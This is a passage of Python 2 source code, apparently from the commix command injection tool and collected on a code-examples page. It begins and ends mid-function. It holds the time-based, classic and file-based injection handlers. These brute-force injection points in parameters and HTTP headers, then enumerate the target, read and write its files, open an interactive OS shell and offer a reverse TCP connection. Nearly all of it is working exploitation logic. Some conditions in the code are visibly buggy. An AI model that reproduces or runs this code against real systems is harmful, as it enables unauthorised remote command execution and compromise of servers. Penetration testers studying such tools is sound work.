                                        warning_msg += "requests. This behavior which may lead to false-positive results."
                                        sys.stdout.write("\r" + Fore.YELLOW +
                                                         warning_msg +
                                                         Style.RESET_ALL)
                                        print ""

                                    # Check if false positive fixation is True.
                                    if false_positive_fixation:
                                        false_positive_fixation = False
                                        settings.FOUND_HOW_LONG = how_long
                                        settings.FOUND_DIFF = how_long - delay
                                        randv1 = random.randrange(0, 1)
                                        randv2 = random.randrange(1, 2)
                                        randvcalc = randv1 + randv2

                                        if settings.TARGET_OS == "win":
                                            if alter_shell:
                                                cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(
                                                    randv1) + " + " + str(
                                                        randv2) + ")\""
                                            else:
                                                cmd = "powershell.exe -InputFormat none write (" + str(
                                                    randv1) + " + " + str(
                                                        randv2) + ")"
                                        else:
                                            cmd = "(" + str(
                                                randv1) + " + " + str(
                                                    randv2) + ")"

                                        # Check for false positive resutls
                                        how_long, output = tb_injector.false_positive_check(
                                            separator, TAG, cmd, prefix,
                                            suffix, delay, http_request_method,
                                            url, vuln_parameter, randvcalc,
                                            alter_shell, how_long,
                                            url_time_response)

                                        if (url_time_response == 0 and (how_long - delay) >= 0) or \
                                           (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                                           (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                                            if str(output) == str(
                                                    randvcalc) and len(
                                                        TAG) == output_length:
                                                is_vulnerable = True
                                                how_long_statistic = 0
                                                if not menu.options.verbose:
                                                    percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                                else:
                                                    percent = ""
                                        else:
                                            break
                                    # False positive
                                    else:
                                        if not menu.options.verbose:
                                            percent = str(float_percent) + "%"
                                            sys.stdout.write(
                                                "\r" + settings.INFO_SIGN +
                                                "Testing the " + technique +
                                                "... " + "[ " + percent + " ]")
                                            sys.stdout.flush()
                                        continue
                                else:
                                    if not menu.options.verbose:
                                        percent = str(float_percent) + "%"
                                        sys.stdout.write("\r" +
                                                         settings.INFO_SIGN +
                                                         "Testing the " +
                                                         technique + "... " +
                                                         "[ " + percent + " ]")
                                        sys.stdout.flush()
                                    continue
                            if not menu.options.verbose:
                                sys.stdout.write("\r" + settings.INFO_SIGN +
                                                 "Testing the " + technique +
                                                 "... " + "[ " + percent +
                                                 " ]")
                                sys.stdout.flush()

                        except KeyboardInterrupt:
                            raise

                        except SystemExit:
                            raise

                        except:
                            break
                        break

                # Yaw, got shellz!
                # Do some magic tricks!
                if (url_time_response == 0 and (how_long - delay) >= 0) or \
                   (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                   (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                    if (len(TAG) == output_length) and \
                       (is_vulnerable == True or settings.LOAD_SESSION and is_vulnerable == "True"):

                        found = True
                        no_result = False

                        if settings.LOAD_SESSION:
                            is_vulnerable = False

                        if settings.COOKIE_INJECTION == True:
                            header_name = " Cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " HTTP header"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, http_request_method,
                                vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not settings.LOAD_SESSION:
                            print ""

                        # Print the findings to terminal.
                        print Style.BRIGHT + "(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
                        print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
                        print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
                        ) + Style.RESET_ALL + ""
                        print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
                            "%20", " ", payload.replace(
                                "\n", "\\n")) + Style.RESET_ALL

                        if not settings.LOAD_SESSION:
                            shell = ""
                            session_handler.injection_point_importation(
                                url, technique, injection_type, separator,
                                shell, vuln_parameter, prefix, suffix, TAG,
                                alter_shell, payload, http_request_method,
                                url_time_response, delay, how_long,
                                output_length, is_vulnerable)
                            is_vulnerable = False
                        else:
                            settings.LOAD_SESSION = False

                        new_line = False
                        # Check for any enumeration options.
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                enumerate_again = raw_input(
                                    "\n" + settings.QUESTION_SIGN +
                                    "Do you want to enumerate again? [Y/n/q] > "
                                ).lower()
                                if enumerate_again in settings.CHOICE_YES:
                                    tb_enumeration.do_check(
                                        separator, maxlen, TAG, cmd, prefix,
                                        suffix, delay, http_request_method,
                                        url, vuln_parameter, alter_shell,
                                        filename, url_time_response)
                                    print ""
                                    break
                                elif enumerate_again in settings.CHOICE_NO:
                                    new_line = True
                                    break
                                elif enumerate_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    if enumerate_again == "":
                                        enumerate_again = "enter"
                                    print Back.RED + settings.ERROR_SIGN + "'" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                    pass
                        else:
                            if menu.enumeration_options():
                                tb_enumeration.do_check(
                                    separator, maxlen, TAG, cmd, prefix,
                                    suffix, delay, http_request_method, url,
                                    vuln_parameter, alter_shell, filename,
                                    url_time_response)
                                print ""

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            while True:
                                file_access_again = raw_input(
                                    settings.QUESTION_SIGN +
                                    "Do you want to access files again? [Y/n/q] > "
                                ).lower()
                                if file_access_again in settings.CHOICE_YES:
                                    tb_file_access.do_check(
                                        separator, maxlen, TAG, cmd, prefix,
                                        suffix, delay, http_request_method,
                                        url, vuln_parameter, alter_shell,
                                        filename, url_time_response)
                                    break
                                elif file_access_again in settings.CHOICE_NO:
                                    if not new_line:
                                        new_line = True
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    if file_access_again == "":
                                        file_access_again = "enter"
                                    print Back.RED + settings.ERROR_SIGN + "'" + file_access_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                    pass
                        else:
                            # if not menu.enumeration_options() and not menu.options.os_cmd:
                            #   print ""
                            tb_file_access.do_check(separator, maxlen, TAG,
                                                    cmd, prefix, suffix, delay,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    alter_shell, filename,
                                                    url_time_response)

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            cmd = menu.options.os_cmd
                            check_how_long, output = tb_enumeration.single_os_cmd_exec(
                                separator, maxlen, TAG, cmd, prefix, suffix,
                                delay, http_request_method, url,
                                vuln_parameter, alter_shell, filename,
                                url_time_response)
                            # Export injection result
                            tb_injector.export_injection_results(
                                cmd, separator, output, check_how_long)
                            sys.exit(0)

                        if not new_line:
                            print ""

                        # Pseudo-Terminal shell
                        go_back = False
                        go_back_again = False
                        while True:
                            if go_back == True:
                                break
                            gotshell = raw_input(
                                settings.QUESTION_SIGN +
                                "Do you want a Pseudo-Terminal? [Y/n/q] > "
                            ).lower()
                            if gotshell in settings.CHOICE_YES:
                                print ""
                                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                if readline_error:
                                    checks.no_readline_module()
                                while True:
                                    try:
                                        # Tab compliter
                                        if not readline_error:
                                            readline.set_completer(
                                                menu.tab_completer)
                                            # MacOSX tab compliter
                                            if getattr(
                                                    readline, '__doc__', ''
                                            ) is not None and 'libedit' in getattr(
                                                    readline, '__doc__', ''):
                                                readline.parse_and_bind(
                                                    "bind ^I rl_complete")
                                            # Unix tab compliter
                                            else:
                                                readline.parse_and_bind(
                                                    "tab: complete")
                                        cmd = raw_input("""commix(""" +
                                                        Style.BRIGHT +
                                                        Fore.RED +
                                                        """os_shell""" +
                                                        Style.RESET_ALL +
                                                        """) > """)
                                        cmd = checks.escaped_cmd(cmd)
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            os_shell_option = checks.check_os_shell_options(
                                                cmd.lower(), technique,
                                                go_back, no_result)
                                            if os_shell_option == False:
                                                if no_result == True:
                                                    return False
                                                else:
                                                    return True
                                            elif os_shell_option == "quit":
                                                sys.exit(0)
                                            elif os_shell_option == "back":
                                                go_back = True
                                                break
                                            elif os_shell_option == "os_shell":
                                                print Fore.YELLOW + settings.WARNING_SIGN + "You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
                                            elif os_shell_option == "reverse_tcp":
                                                settings.REVERSE_TCP = True
                                                # Set up LHOST / LPORT for The reverse TCP connection.
                                                reverse_tcp.configure_reverse_tcp(
                                                )
                                                if settings.REVERSE_TCP == False:
                                                    continue
                                                while True:
                                                    if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
                                                        result = checks.check_reverse_tcp_options(
                                                            settings.LHOST)
                                                    else:
                                                        cmd = reverse_tcp.reverse_tcp_options(
                                                        )
                                                        result = checks.check_reverse_tcp_options(
                                                            cmd)
                                                    if result != None:
                                                        if result == 0:
                                                            return False
                                                        elif result == 1 or result == 2:
                                                            go_back_again = True
                                                            settings.REVERSE_TCP = False
                                                            break
                                                    # Command execution results.
                                                    from src.core.injections.results_based.techniques.classic import cb_injector
                                                    separator = checks.time_based_separators(
                                                        separator,
                                                        http_request_method)
                                                    whitespace = settings.WHITESPACES[
                                                        0]
                                                    response = cb_injector.injection(
                                                        separator, TAG, cmd,
                                                        prefix, suffix,
                                                        whitespace,
                                                        http_request_method,
                                                        url, vuln_parameter,
                                                        alter_shell, filename)
                                                    # Evaluate injection results.
                                                    shell = cb_injector.injection_results(
                                                        response, TAG)
                                                    # Export injection result
                                                    if menu.options.verbose:
                                                        print ""
                                                    print Back.RED + settings.ERROR_SIGN + "The reverse TCP connection has been failed!" + Style.RESET_ALL
                                            else:
                                                pass

                                        else:
                                            print ""
                                            if menu.options.ignore_session or \
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # The main command injection exploitation.
                                                check_how_long, output = tb_injector.injection(
                                                    separator, maxlen, TAG,
                                                    cmd, prefix, suffix, delay,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    alter_shell, filename,
                                                    url_time_response)
                                                # Export injection result
                                                tb_injector.export_injection_results(
                                                    cmd, separator, output,
                                                    check_how_long)
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, output,
                                                        vuln_parameter)
                                            else:
                                                output = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)
                                                print Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL

                                            print ""
                                    except KeyboardInterrupt:
                                        raise

                                    except SystemExit:
                                        raise

                            elif gotshell in settings.CHOICE_NO:
                                if checks.next_attack_vector(
                                        technique, go_back) == True:
                                    break
                                else:
                                    if no_result == True:
                                        return False
                                    else:
                                        return True

                            elif gotshell in settings.CHOICE_QUIT:
                                sys.exit(0)

                            else:
                                if gotshell == "":
                                    gotshell = "enter"
                                print Back.RED + settings.ERROR_SIGN + "'" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                pass
                            #break

    if no_result == True:
        print ""
        return False

    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Esempio n. 35
0
def cb_injection_handler(url, delay, filename, http_request_method):
    counter = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    export_injection_info = False
    injection_type = "Results-based Command Injection"
    technique = "classic injection technique"

    if not settings.LOAD_SESSION:
        sys.stdout.write(settings.INFO_SIGN + "Testing the " + technique +
                         "... ")
        sys.stdout.flush()
        if menu.options.verbose:
            print ""

    i = 0
    # Calculate all possible combinations
    total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(
        settings.SEPARATORS) * len(settings.SUFFIXES)
    for whitespace in settings.WHITESPACES:
        for prefix in settings.PREFIXES:
            for suffix in settings.SUFFIXES:
                for separator in settings.SEPARATORS:

                    # If a previous session is available.
                    if settings.LOAD_SESSION and session_handler.notification(
                            url, technique):
                        url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                            url, http_request_method)

                    else:
                        i = i + 1
                        # Check for bad combination of prefix and separator
                        combination = prefix + separator
                        if combination in settings.JUNK_COMBINATION:
                            prefix = ""

                        # Change TAG on every request to prevent false-positive results.
                        TAG = ''.join(
                            random.choice(string.ascii_uppercase)
                            for i in range(6))

                        randv1 = random.randrange(100)
                        randv2 = random.randrange(100)
                        randvcalc = randv1 + randv2

                        # Define alter shell
                        alter_shell = menu.options.alter_shell

                        try:
                            if alter_shell:
                                # Classic -alter shell- decision payload (check if host is vulnerable).
                                payload = cb_payloads.decision_alter_shell(
                                    separator, TAG, randv1, randv2)
                            else:
                                # Classic decision payload (check if host is vulnerable).
                                payload = cb_payloads.decision(
                                    separator, TAG, randv1, randv2)

                            # Define prefixes & suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            if menu.options.base64:
                                payload = urllib.unquote(payload)
                                payload = base64.b64encode(payload)
                            else:
                                if separator == " ":
                                    payload = re.sub(" ", "%20", payload)
                                else:
                                    payload = re.sub(" ", whitespace, payload)

                            # Check if defined "--verbose" option.
                            if menu.options.verbose:
                                print Fore.GREY + "(~) Payload: " + payload + Style.RESET_ALL

                            # if need page reload
                            if menu.options.url_reload:
                                time.sleep(delay)
                                response = urllib.urlopen(url)

                            # Cookie Injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                response = cb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent Injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                response = cb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer Injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to referer injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                response = cb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

                            # Custom HTTP header Injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom http header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                response = cb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                # Check if target host is vulnerable.
                                response, vuln_parameter = cb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Evaluate test results.
                            shell = cb_injector.injection_test_results(
                                response, TAG, randvcalc)

                            if not menu.options.verbose:
                                percent = ((i * 100) / total)
                                float_percent = "{0:.1f}".format(
                                    round(((i * 100) / (total * 1.0)), 2))

                                if shell == False:
                                    sys.stdout.write("\r" +
                                                     settings.INFO_SIGN +
                                                     "Testing the " +
                                                     technique + "... " +
                                                     "[ " + float_percent +
                                                     "%" + " ]")
                                    sys.stdout.flush()

                                if str(float_percent) == "100.0":
                                    if no_result == True:
                                        percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                    else:
                                        percent = str(float_percent) + "%"
                                elif len(shell) != 0:
                                    percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                else:
                                    percent = str(float_percent) + "%"
                                sys.stdout.write("\r" + settings.INFO_SIGN +
                                                 "Testing the " + technique +
                                                 "... " + "[ " + percent +
                                                 " ]")
                                sys.stdout.flush()

                        except KeyboardInterrupt:
                            raise

                        except SystemExit:
                            raise

                        except:
                            continue

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if shell:
                        found = True
                        no_result = False

                        if settings.COOKIE_INJECTION == True:
                            header_name = " Cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " HTTP header"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, http_request_method,
                                vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not menu.options.verbose and not settings.LOAD_SESSION:
                            print ""

                        # Print the findings to terminal.
                        print Style.BRIGHT + "(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
                        print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
                        print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
                        ) + Style.RESET_ALL + ""
                        print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
                            "%20", " ", re.sub("%2B", "+",
                                               payload)) + Style.RESET_ALL

                        # Export session
                        if not settings.LOAD_SESSION:
                            session_handler.injection_point_importation(
                                url,
                                technique,
                                injection_type,
                                separator,
                                shell[0],
                                vuln_parameter,
                                prefix,
                                suffix,
                                TAG,
                                alter_shell,
                                payload,
                                http_request_method,
                                url_time_response=0,
                                delay=0,
                                how_long=0,
                                output_length=0,
                                is_vulnerable="True")
                        else:
                            settings.LOAD_SESSION = False

                        # Check for any enumeration options.
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                enumerate_again = raw_input(
                                    "\n" + settings.QUESTION_SIGN +
                                    "Do you want to enumerate again? [Y/n/q] > "
                                ).lower()
                                if enumerate_again in settings.CHOISE_YES:
                                    cb_enumeration.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename)
                                    break
                                elif enumerate_again in settings.CHOISE_NO:
                                    break
                                elif enumerate_again in settings.CHOISE_QUIT:
                                    sys.exit(0)
                                else:
                                    if enumerate_again == "":
                                        enumerate_again = "enter"
                                    print Back.RED + settings.ERROR_SIGN + "'" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                    pass
                        else:
                            if menu.enumeration_options():
                                cb_enumeration.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename)

                        if not menu.file_access_options(
                        ) and not menu.options.os_cmd:
                            print ""

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            while True:
                                file_access_again = raw_input(
                                    settings.QUESTION_SIGN +
                                    "Do you want to access files again? [Y/n/q] > "
                                ).lower()
                                if file_access_again in settings.CHOISE_YES:
                                    cb_file_access.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename)
                                    break
                                elif file_access_again in settings.CHOISE_NO:
                                    break
                                elif file_access_again in settings.CHOISE_QUIT:
                                    sys.exit(0)
                                else:
                                    if file_access_again == "":
                                        file_access_again = "enter"
                                    print Back.RED + settings.ERROR_SIGN + "'" + file_access_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                    pass
                        else:
                            if menu.file_access_options():
                                if not menu.enumeration_options():
                                    print ""
                                cb_file_access.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename)
                                print ""

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            if not menu.file_access_options():
                                print ""
                            cb_enumeration.single_os_cmd_exec(
                                separator, TAG, prefix, suffix, whitespace,
                                http_request_method, url, vuln_parameter,
                                alter_shell, filename)

                        # Pseudo-Terminal shell
                        go_back = False
                        go_back_again = False
                        while True:
                            if go_back == True:
                                break
                            if settings.ENUMERATION_DONE == False and settings.FILE_ACCESS_DONE == False:
                                if menu.options.verbose:
                                    print ""
                            gotshell = raw_input(
                                settings.QUESTION_SIGN +
                                "Do you want a Pseudo-Terminal shell? [Y/n/q] > "
                            ).lower()
                            if gotshell in settings.CHOISE_YES:
                                print ""
                                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                if readline_error:
                                    checks.no_readline_module()
                                while True:
                                    try:
                                        if not readline_error:
                                            # Tab compliter
                                            readline.set_completer(
                                                menu.tab_completer)
                                            # MacOSX tab compliter
                                            if getattr(
                                                    readline, '__doc__', ''
                                            ) is not None and 'libedit' in getattr(
                                                    readline, '__doc__', ''):
                                                readline.parse_and_bind(
                                                    "bind ^I rl_complete")
                                            # Unix tab compliter
                                            else:
                                                readline.parse_and_bind(
                                                    "tab: complete")
                                        cmd = raw_input("""commix(""" +
                                                        Style.BRIGHT +
                                                        Fore.RED +
                                                        """os_shell""" +
                                                        Style.RESET_ALL +
                                                        """) > """)
                                        cmd = checks.escaped_cmd(cmd)
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            os_shell_option = checks.check_os_shell_options(
                                                cmd.lower(), technique,
                                                go_back, no_result)
                                            if os_shell_option == False:
                                                if no_result == True:
                                                    return False
                                                else:
                                                    return True
                                            elif os_shell_option == "quit":
                                                sys.exit(0)
                                            elif os_shell_option == "back":
                                                go_back = True
                                                break
                                            elif os_shell_option == "os_shell":
                                                print Fore.YELLOW + settings.WARNING_SIGN + "You are already into the 'os_shell' mode." + Style.RESET_ALL + "\n"
                                            elif os_shell_option == "reverse_tcp":
                                                settings.REVERSE_TCP = True
                                                # Set up LHOST / LPORT for The reverse TCP connection.
                                                reverse_tcp.configure_reverse_tcp(
                                                )
                                                if settings.REVERSE_TCP == False:
                                                    continue
                                                if settings.REVERSE_TCP == False:
                                                    continue
                                                while True:
                                                    if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
                                                        result = checks.check_reverse_tcp_options(
                                                            settings.LHOST)
                                                    else:
                                                        cmd = reverse_tcp.reverse_tcp_options(
                                                        )
                                                        result = checks.check_reverse_tcp_options(
                                                            cmd)
                                                    if result != None:
                                                        if result == 0:
                                                            return False
                                                        elif result == 1 or result == 2:
                                                            go_back_again = True
                                                            settings.REVERSE_TCP = False
                                                            break
                                                    # Command execution results.
                                                    response = cb_injector.injection(
                                                        separator, TAG, cmd,
                                                        prefix, suffix,
                                                        whitespace,
                                                        http_request_method,
                                                        url, vuln_parameter,
                                                        alter_shell, filename)
                                                    # Evaluate injection results.
                                                    shell = cb_injector.injection_results(
                                                        response, TAG)
                                                    if menu.options.verbose:
                                                        print ""
                                                    print Back.RED + settings.ERROR_SIGN + "The reverse TCP connection to the target host has been failed!" + Style.RESET_ALL
                                            else:
                                                pass
                                        else:
                                            # Command execution results.
                                            response = cb_injector.injection(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename)

                                            # if need page reload
                                            if menu.options.url_reload:
                                                time.sleep(delay)
                                                response = urllib.urlopen(url)
                                            if menu.options.ignore_session or \
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # Evaluate injection results.
                                                shell = cb_injector.injection_results(
                                                    response, TAG)
                                                shell = "".join(
                                                    str(p) for p in shell)
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, shell,
                                                        vuln_parameter)
                                            else:
                                                shell = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)
                                            if shell:
                                                html_parser = HTMLParser.HTMLParser(
                                                )
                                                shell = html_parser.unescape(
                                                    shell)
                                                if shell != "":
                                                    print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                                                else:
                                                    if menu.options.verbose:
                                                        print ""
                                                    print Back.RED + settings.ERROR_SIGN + "The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"

                                    except KeyboardInterrupt:
                                        raise

                                    except SystemExit:
                                        raise

                            elif gotshell in settings.CHOISE_NO:
                                if checks.next_attack_vector(
                                        technique, go_back) == True:
                                    break
                                else:
                                    if no_result == True:
                                        return False
                                    else:
                                        return True

                            elif gotshell in settings.CHOISE_QUIT:
                                sys.exit(0)

                            else:
                                if gotshell == "":
                                    gotshell = "enter"
                                print Back.RED + settings.ERROR_SIGN + "'" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                pass

    if no_result == True:
        print ""
        return False
    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Esempio n. 36
0
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response):

  counter = 1
  vp_flag = True
  exit_loops = False
  no_result = True
  is_encoded = False
  stop_injection = False
  call_tmp_based = False
  next_attack_vector = False
  export_injection_info = False
  injection_type = "semi-blind command injection"
  technique = "file-based injection technique"

  # Set temp path 
  if settings.TARGET_OS == "win":
    if "microsoft-iis" in settings.SERVER_BANNER.lower():
      settings.TMP_PATH = "C:\\Windows\TEMP\\"
    else:
      settings.TMP_PATH = "%temp%\\"
  else:
    settings.TMP_PATH = "/tmp/"

  if menu.options.tmp_path:
    tmp_path = menu.options.tmp_path
  else:
    tmp_path = settings.TMP_PATH

  if settings.DEFAULT_SRV_ROOT_DIR != settings.SRV_ROOT_DIR:
    settings.SRV_ROOT_DIR = settings.DEFAULT_SRV_ROOT_DIR

  if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
    call_tmp_based = True
  else:
    if menu.options.srv_root_dir:
      settings.SRV_ROOT_DIR = menu.options.srv_root_dir
    else:

      # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www.
      if "apache" in settings.SERVER_BANNER.lower():
        if "debian" or "ubuntu" in settings.SERVER_BANNER.lower():
          try:
            check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
            if check_version[0] > "2.3" and not settings.TARGET_OS == "win":
              # Add "/html" to servers root directory
              settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
            else:
              settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR 
          except IndexError:
            pass
        # Add "/html" to servers root directory
        elif "fedora" or "centos" in settings.SERVER_BANNER.lower():
          settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
        else:
          pass

      # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html"
      elif "nginx" in settings.SERVER_BANNER.lower():
        try:
          check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
          if check_version[0] >= "1.2.4":
            # Add "/html" to servers root directory
            settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
          else:
            # Add "/www" to servers root directory
            settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www"
        except IndexError:
          pass
      elif "microsoft-iis" in settings.SERVER_BANNER.lower():
        pass
      else:
        # Provide custom server's root directory.
        custom_srv_root_dir()

      path = urlparse.urlparse(url).path
      path_parts = path.split('/')
      count = 0
      for part in path_parts:        
        count = count + 1
      count = count - 1
      last_param = path_parts[count]
      EXTRA_DIR = path.replace(last_param, "")
      settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR
      if settings.TARGET_OS == "win":
        settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace("/","\\")

    if not settings.LOAD_SESSION or settings.RETEST == True: 
      info_msg = "Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... "
      print settings.print_info_msg(info_msg)

  i = 0
  TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) 
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  # Check if defined alter shell
  alter_shell = menu.options.alter_shell
  for whitespace in settings.WHITESPACE:
    for prefix in settings.PREFIXES:
      for suffix in settings.SUFFIXES:
        for separator in settings.SEPARATORS:

          # If a previous session is available.
          if settings.LOAD_SESSION and session_handler.notification(url, technique):
            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
            checks.check_for_stored_tamper(payload)
            OUTPUT_TEXTFILE = TAG + ".txt"
            if technique == "tempfile-based injection technique":
              #settings.LOAD_SESSION = True
              tfb_handler.exploitation(url, delay, filename, tmp_path, http_request_method, url_time_response)

